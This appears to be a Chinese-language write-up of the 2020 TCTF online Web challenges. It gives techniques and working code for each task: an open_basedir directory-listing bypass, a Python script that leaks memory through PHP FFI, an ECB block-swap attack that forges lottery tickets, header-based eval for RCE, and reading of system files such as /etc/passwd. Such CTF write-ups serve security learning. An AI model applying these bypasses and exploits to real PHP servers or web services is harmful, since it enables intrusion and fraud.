新鲜出炉 | 2020 TCTF Online Web WriteUp

新鲜出炉 | 2020 TCTF Online Web WriteUp

一叶飘零 嘶吼专业版

新鲜出炉 | 2020 TCTF Online Web WriteUp

前言

TCTF是国内高质量比赛之一,这次周末参加了一下,以下是Web题解。

新鲜出炉 | 2020 TCTF Online Web WriteUp

Wechat Generator

题目界面大致如下:

新鲜出炉 | 2020 TCTF Online Web WriteUp

我们拥有preview和share两个功能:

新鲜出炉 | 2020 TCTF Online Web WriteUp

新鲜出炉 | 2020 TCTF Online Web WriteUp

一个是预览我们生成的微信对话图,一个是将其分享。

在尝试访问分享图片时,发现如下路径:

新鲜出炉 | 2020 TCTF Online Web WriteUp
在随手测试的时候,
发现如果乱改后缀,例如将png改为txt,会出现如下的报错信息:


{"error": "Convert exception: unable to open image `previews/5fac1098-72ab-4b28-b111-465aceb0e7ec.txt': No such file or directory @ error/blob.c/OpenBlob/2874"}

那么大概可以猜测到题目可能是ImageMagick,同时测试过程中,我们发现:

新鲜出炉 | 2020 TCTF Online Web WriteUp

如果将后缀改为htm,是可以正常转换的,那么此时可以看到我们输入的message:

新鲜出炉 | 2020 TCTF Online Web WriteUp

新鲜出炉 | 2020 TCTF Online Web WriteUp

那么这里尝试进行闭合,发现可以引入标签:

新鲜出炉 | 2020 TCTF Online Web WriteUp

新鲜出炉 | 2020 TCTF Online Web WriteUp

但是存在过滤,src被过滤了,那这里先考虑读文件,我们可以利用png后缀,将文件内容转为图片带出:

新鲜出炉 | 2020 TCTF Online Web WriteUp

得到如下反馈:

新鲜出炉 | 2020 TCTF Online Web WriteUp

那么尝试寻找web文件路径,想读/proc/self/下的文件,但发现proc也被过滤,这里尝试双写绕过:

新鲜出炉 | 2020 TCTF Online Web WriteUp

发现可以成功进行bypass:

新鲜出炉 | 2020 TCTF Online Web WriteUp

在/app目录下可以读取app.py的内容,发现如下路由:

http://pwnable.org:5000/SUp3r_S3cret_URL/0Nly_4dM1n_Kn0ws

访问后,发现需要进行xss,触发alert(1)即可:

新鲜出炉 | 2020 TCTF Online Web WriteUp

但这里存在csp:

img-src * data:; default-src 'self'; style-src 'self' 'unsafe-inline'; connect-src 'self'; object-src 'none'; base-uri 'self'

最初想利用如下形式来进行***:

新鲜出炉 | 2020 TCTF Online Web WriteUp

但src被过滤:

新鲜出炉 | 2020 TCTF Online Web WriteUp

这里同样使用双写来进行bypass:

新鲜出炉 | 2020 TCTF Online Web WriteUp

新鲜出炉 | 2020 TCTF Online Web WriteUp

但发现难以找到可控的js文件,于是考虑到其他方法,可使用meta标签进行跳转:

新鲜出炉 | 2020 TCTF Online Web WriteUp

并使用htm后缀,将路径发给管理员即可触发alert,获取flag.

新鲜出炉 | 2020 TCTF Online Web WriteUp

easy php

题目给了如下代码:

新鲜出炉 | 2020 TCTF Online Web WriteUp

估摸可能又是bypass open_basedir disable_function一类的题目,首先看一下phpinfo():

http://pwnable.org:19260/?rh=phpinfo();
发现目标是php 7.4.5,同时Server API为FpM/FastCGI:

新鲜出炉 | 2020 TCTF Online Web WriteUp

disable_function如下:


set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl

open_basedir如下:

新鲜出炉 | 2020 TCTF Online Web WriteUp

首先尝试disable_function,由于目录不可写,所以选择使用如下方法:


$file_list = array();
$it = new DirectoryIterator("glob:///*");
foreach ($it as $f){
    $file_list[] = $f->__toString();
}

$it = new DirectoryIterator("glob:///.*");
foreach ($it as $f){
    $file_list[] = $f->__toString();
}
sort($file_list);
foreach ($file_list as $f){
    echo "{$f}
";
}

发现可以成功列目录:

新鲜出炉 | 2020 TCTF Online Web WriteUp

得到flag.h和flag.so文件名。

由于题目的部署不慎,导致open_basedir经常被置空(所以出现了revenge,正规解法在下一道题里讲),所以出现了下述操作:

新鲜出炉 | 2020 TCTF Online Web WriteUp

可以直接读文件……发现flag.h中定义了获取flag的c函数,那么想到php 7.4可使用FFI调用c函数,于是查看phpinfo():

新鲜出炉 | 2020 TCTF Online Web WriteUp

于是使用如下方法获取flag:

新鲜出炉 | 2020 TCTF Online Web WriteUp

新鲜出炉 | 2020 TCTF Online Web WriteUp

noeasyphp

出题人心有不甘,又出了一道revenge,这次php版本升级到7.4.7,同时更换了Server API:

新鲜出炉 | 2020 TCTF Online Web WriteUp

并且大量增加了disable_function:

新鲜出炉 | 2020 TCTF Online Web WriteUp

但open_basedir没有变:

新鲜出炉 | 2020 TCTF Online Web WriteUp

我们依旧可以bypass open_basedir进行列目录:

新鲜出炉 | 2020 TCTF Online Web WriteUp

发现flag.h和flag.so文件依旧存在,同时FFI依旧开启,那么尝试load flag.h:

新鲜出炉 | 2020 TCTF Online Web WriteUp

但此时尴尬的点来了,我们不知道c的函数名是什么,因此无法直接调用。同时在使用FFI::cdef时,一直不能正常调用,于是这里我们使用如下操作,可以看到FFI的报错提示:

新鲜出炉 | 2020 TCTF Online Web WriteUp

这里发现cdef被过滤了……那么考虑有没有其他办法可以获取到函数名,查阅FFI官方文档:

新鲜出炉 | 2020 TCTF Online Web WriteUp

发现FFI存在不少和内存相关的函数,这里考虑能不能进行内存泄露,获取函数名,编写exp如下:


import requests
url = "http://pwnable.org:19261"params = {"rh":'''
try {
    $ffi=FFI::load("/flag.h");
    //get flag
    //$a = $ffi->flag_wAt3_uP_apA3H1();
    //for($i = 0; $i < 128; $i++){
        echo $a[$i];
    //}
    $a = $ffi->new("char[8]", false);
    $a[0] = 'f';
    $a[1] = 'l';
    $a[2] = 'a';
    $a[3] = 'g';
    $a[4] = 'f';
    $a[5] = 'l';
    $a[6] = 'a';
    $a[7] = 'g';
    $b = $ffi->new("char[8]", false);
    $b[0] = 'f';
    $b[1] = 'l';
    $b[2] = 'a';
    $b[3] = 'g';
    $newa = $ffi->cast("void*", $a);
    var_dump($newa);
    $newb = $ffi->cast("void*", $b);
    var_dump($newb);

    $addr_of_a = FFI::new("unsigned long long");
    FFI::memcpy($addr_of_a, FFI::addr($newa), 8);
    var_dump($addr_of_a);

    $leak = FFI::new(FFI::arrayType($ffi->type('char'), [102400]), false);
    FFI::memcpy($leak, $newa-0x20000, 102400);
    $tmp = FFI::string($leak,102400);
    var_dump($tmp);

    //var_dump($leak);
    //$leak[0] = 0xdeadbeef;
    //$leak[1] = 0x61616161;
    //var_dump($a);
    //FFI::memcpy($newa-0x8, $leak, 128*8);
    //var_dump($a);
    //var_dump(777);
} catch (FFI\Exception $ex) {
    echo $ex->getMessage(), PHP_EOL;
}
var_dump(1);
'''}

res = requests.get(url=url,params=params)

print((res.text).encode("utf-8"))

新鲜出炉 | 2020 TCTF Online Web WriteUp

即可获取函数名如下:

$a = $ffi->flag_wAt3_uP_apA3H1();

使用和上题一样的操作即可获取flag:

新鲜出炉 | 2020 TCTF Online Web WriteUp

新鲜出炉 | 2020 TCTF Online Web WriteUp

lottery

题目到手后,界面如下:

新鲜出炉 | 2020 TCTF Online Web WriteUp

简单通过burp抓包分析,发现题目存在5个功能:


register 
login
buy
info
charge

同时注意到获取flag的条件:

新鲜出炉 | 2020 TCTF Online Web WriteUp

我们必须获得99以上的coin,才可以获取flag,那么分析题目功能,这里主要看buy,info和charge:

新鲜出炉 | 2020 TCTF Online Web WriteUp

buy可以利用api_token获取一串密文。

info可以对密文进行解密,并返回明文:

新鲜出炉 | 2020 TCTF Online Web WriteUp

charge是用来换coin的:

新鲜出炉 | 2020 TCTF Online Web WriteUp

我们尝试篡改所有非enc内容,发现都很难奏效,那么势必需要分析出enc的加密方式,这里从密文切入,我们随便生成了6组密文:


/SWC1fWyzgVB4GQkV9XAhFbRJVd+p/0seSjoHNvocAMMJxydIoMiQkoRPvzu98o0B1gJ7iyGVtg0ZCyvrM9HYw+Ig5CALRM+/et8BL40J0gG42ZsIT3cEPN7J80q5tSXurpYiVthCJdtAYiOSwB4XPbSt9reYD8AcCI4hIXsxZg=

rky9zMwv9ftXrXfBaPh7e6UYO7mh07PV2CGIHMdPt0PmSSV7gVgsy7RyEC/CfvudCQTrOEmVHvtxgyNJHv51/A+Ig5CALRM+/et8BL40J0gG42ZsIT3cEPN7J80q5tSXTyQDabwRxFj0q8X5b5KhU/bSt9reYD8AcCI4hIXsxZg=

RNeqoksqjZqjs30IlB4JPdPNAigCO2PyXiMbl5HspoRDE+yuEDln7P1M85J6FO9NQq+BWyMVgZ913nLGyJL3aQ+Ig5CALRM+/et8BL40J0gG42ZsIT3cEPN7J80q5tSXsiwQ3/LQeSbYE2JiMXSKC/bSt9reYD8AcCI4hIXsxZg=

8FSnwPc+/cDtsUaIiZYJtAl0QFY5GvPH3AnPSjTmF3MF22QlJ+AohnvnHQCXjh9sffSrlmAlwaJD0ytGNsbH0UWc4v+ma98DhQBGaRw2sQ5RwrnRb3rjBmEpJd/MA33YbXP4fOmiPYshqVzTh05fWPbSt9reYD8AcCI4hIXsxZg=

yF+uCwdBx7pB2t0Afq2kccm9na5y/7Nezs5Lm3IqoD+PdHJ4SFqLIY4vouanlmqSLxxDwv3vmBZJGNYrfOCIZ0Wc4v+ma98DhQBGaRw2sQ5RwrnRb3rjBmEpJd/MA33YzeNJt8hFlylgxZwJckYUn/bSt9reYD8AcCI4hIXsxZg=

fBGgss1SrFRgKkYGFiYiw5VlpPmTWu6eCcq42TkBUzwIYP5cNLYr/4R2hd6it4yuVU4yzKKC3PGops+sK2X4U0Wc4v+ma98DhQBGaRw2sQ5RwrnRb3rjBmEpJd/MA33YavP2eHwOKE3g3bE6AMid3/bSt9reYD8AcCI4hIXsxZg=

发现每组密文的结尾均为一致,这里我猜想其为分组密码,那么我们尝试将其转回16进制:


fd2582d5f5b2ce0541e0642457d5c08456d125577ea7fd2c7928e81cdbe870030c271c9d228322424a113efceef7ca34075809ee2c8656d834642cafaccf47630f888390802d133efdeb7c04be34274806e3666c213ddc10f37b27cd2ae6d497baba58895b6108976d01888e4b00785cf6d2b7dade603f007022388485ecc598

ae4cbdcccc2ff5fb57ad77c168f87b7ba5183bb9a1d3b3d5d821881cc74fb743e649257b81582ccbb472102fc27efb9d0904eb3849951efb718323491efe75fc0f888390802d133efdeb7c04be34274806e3666c213ddc10f37b27cd2ae6d4974f240369bc11c458f4abc5f96f92a153f6d2b7dade603f007022388485ecc598

44d7aaa24b2a8d9aa3b37d08941e093dd3cd0228023b63f25e231b9791eca6844313ecae103967ecfd4cf3927a14ef4d42af815b2315819f75de72c6c892f7690f888390802d133efdeb7c04be34274806e3666c213ddc10f37b27cd2ae6d497b22c10dff2d07926d813626231748a0bf6d2b7dade603f007022388485ecc598

f054a7c0f73efdc0edb14688899609b409744056391af3c7dc09cf4a34e6177305db642527e028867be71d00978e1f6c7df4ab966025c1a243d32b4636c6c7d1459ce2ffa66bdf03850046691c36b10e51c2b9d16f7ae306612925dfcc037dd86d73f87ce9a23d8b21a95cd3874e5f58f6d2b7dade603f007022388485ecc598

c85fae0b0741c7ba41dadd007eada471c9bd9dae72ffb35ecece4b9b722aa03f8f747278485a8b218e2fa2e6a7966a922f1c43c2fdef98164918d62b7ce08867459ce2ffa66bdf03850046691c36b10e51c2b9d16f7ae306612925dfcc037dd8cde349b7c845972960c59c097246149ff6d2b7dade603f007022388485ecc598

7c11a0b2cd52ac54602a4606162622c39565a4f9935aee9e09cab8d93901533c0860fe5c34b62bff847685dea2b78cae554e32cca282dcf1a8a6cfac2b65f853459ce2ffa66bdf03850046691c36b10e51c2b9d16f7ae306612925dfcc037dd86af3f6787c0e284de0ddb13a00c89ddff6d2b7dade603f007022388485ecc598

我们发现最后32位均为:f6d2b7dade603f007022388485ecc598,同时总密文长度为256位,此时我们可以猜测最后32位应该均为padding,但这里显然不会考虑密钥爆破,因为32位的密钥太长了,爆出的可能性很小。于是思考分组模式是否可以进行***。

这里应该不能猜出,目标可能为ECB分组模式,那么ECB分组模式最普遍的***方式,应该为重放***,于是我进行了简单测试:


3IaNFxJN+bro2idMLAmEvfYVkwGwkppb0Habd7fzO/JCJVTGfwx79N1umkYZpaU/MfoZHWsrrGaAoh0dmBELAfXqF7CTC0Sp/DVHj+ZJgPB9CD7dIHyWREM90xDqs0/SeVuO+vBtvpqOZ7buX0T+EfbSt9reYD8AcCI4hIXsxZg=

{"info":{"lottery":"49382695-2b68-4666-8fda-b775edfe52fd","user":"2e2dd369-e9a8-4e62-9dac-76fe75353f89","coin":9}}

t5hNjbXQNdB1FXRhYoKNHSf62OmHHTGzGoqg+zpDLyPdFEGv8zHzC6WOx7QRZPMCwX9QzuxSrhCREeG0jwYMhDWzxRAezgH19V2Foc61/clsY01/dMF/DB1sdEiui01xcZOk9sdgo9pVS5mRplHyhfbSt9reYD8AcCI4hIXsxZg=

{"info":{"lottery":"a36f22c1-c351-4421-a3bf-ec8ed90da70c","user":"2ec978ed-fc05-4aad-9cd6-da41b1afcb9b","coin":3}}

我们对如上明密文对进行***,想将用户1的lottery替换为用户2的,如此即可扣用户2的lottery,来增加用户1的coin:


32
{"info":{"lottery":"a3382695-2b68-4666-8fda-b775edfe52fd","user":"2e2dd369-e9a8-4e62-9dac-76fe75353f89","coin":9}}

64
{"info":{"lottery":"a36f22c1-c351-4421-8fda-b775edfe52fd","user":"2e2dd369-e9a8-4e62-9dac-76fe75353f89","coin":9}}

96
{"info":{"lottery":"a36f22c1-c351-4421-a3bf-ec8ed90da7fd","user":"2e2dd369-e9a8-4e62-9dac-76fe75353f89","coin":9}}

128
{"info":{"lottery":"a36f22c1-c351-4421-a3bf-ec8ed90da70c","user":"2e2dd369-e9a8-4e62-9dac-76fe75353f89","coin":9}}

新鲜出炉 | 2020 TCTF Online Web WriteUp

我尝试对用户1的密文分组进行逐一替换,当替换128位后,发现我们可以将用户1的lottery替换成用户2的,但是此时user前2位值也会变为用户2的,那么这里即考虑,注册多个user前2位相同的用户,再用ECB重放***进行刷钱:


{"info":{"lottery":"49382695-2b68-4666-8fda-b775edfe52fd","user":"2e2dd369-e9a8-4e62-9dac-76fe75353f89","coin":9}}

{"info":{"lottery":"a36f22c1-c351-4421-a3bf-ec8ed90da70c","user":"2ec978ed-fc05-4aad-9cd6-da41b1afcb9b","coin":3}}

对于如上info的2个用户,我们就可以将用户1的lottery替换为用户2的,因为其user开头2位都是2e:

新鲜出炉 | 2020 TCTF Online Web WriteUp

移花接木后,我们可以得到如下info的密文:


{"info":{"lottery":"a36f22c1-c351-4421-a3bf-ec8ed90da70c","user":"2e2dd369-e9a8-4e62-9dac-76fe75353f89","coin":9}}

尝试进行charge:

新鲜出炉 | 2020 TCTF Online Web WriteUp

发现可以成功charge,重复多次操作,即可增加我们的coin,获取flag:

新鲜出炉 | 2020 TCTF Online Web WriteUp

新鲜出炉 | 2020 TCTF Online Web WriteUp

Cloud Computing

这是Misc里的一道题,本不应该出现在此,但因为其考察点为web open_basedir bypass(其实是非预期了),所以在这里记录了一下,题目同样是给了源码:

新鲜出炉 | 2020 TCTF Online Web WriteUp

同时发现题目运行在php7.4.7:

新鲜出炉 | 2020 TCTF Online Web WriteUp

测试过程中发现,我们input的data被过滤了引号,下划线等字符,这让我们执行代码非常不便,同时phpinfo都被过滤了,于是这里考虑使用无参数函数RCE的方式,我们利用eval(end(getallheaders()))的方式进行偷梁换柱,在http header注入我们想执行的phpcode,以此达成bypass waf的目的:

新鲜出炉 | 2020 TCTF Online Web WriteUp

但是依旧无法使用phpinfo等函数,怀疑是被disable_function给禁了,这里开启报错,来一探究竟:

新鲜出炉 | 2020 TCTF Online Web WriteUp

同时发现我们受限于open basedir:

新鲜出炉 | 2020 TCTF Online Web WriteUp

但是发现sandbox可以任意创建文件,于是想到可以使用chdir来bypass openbasedir:

新鲜出炉 | 2020 TCTF Online Web WriteUp

发现可以成功bypass oepn_basedir,读取/etc/passwd:

新鲜出炉 | 2020 TCTF Online Web WriteUp

那么读取根目录的flag文件即可。

新鲜出炉 | 2020 TCTF Online Web WriteUp

后记

这次Web题目做下来,感觉不是非常的"web",但还是可以学到一点东西~
新鲜出炉 | 2020 TCTF Online Web WriteUp

上一篇:pcntl_fork() has been disabled for security reasons报错


下一篇:2021-03-29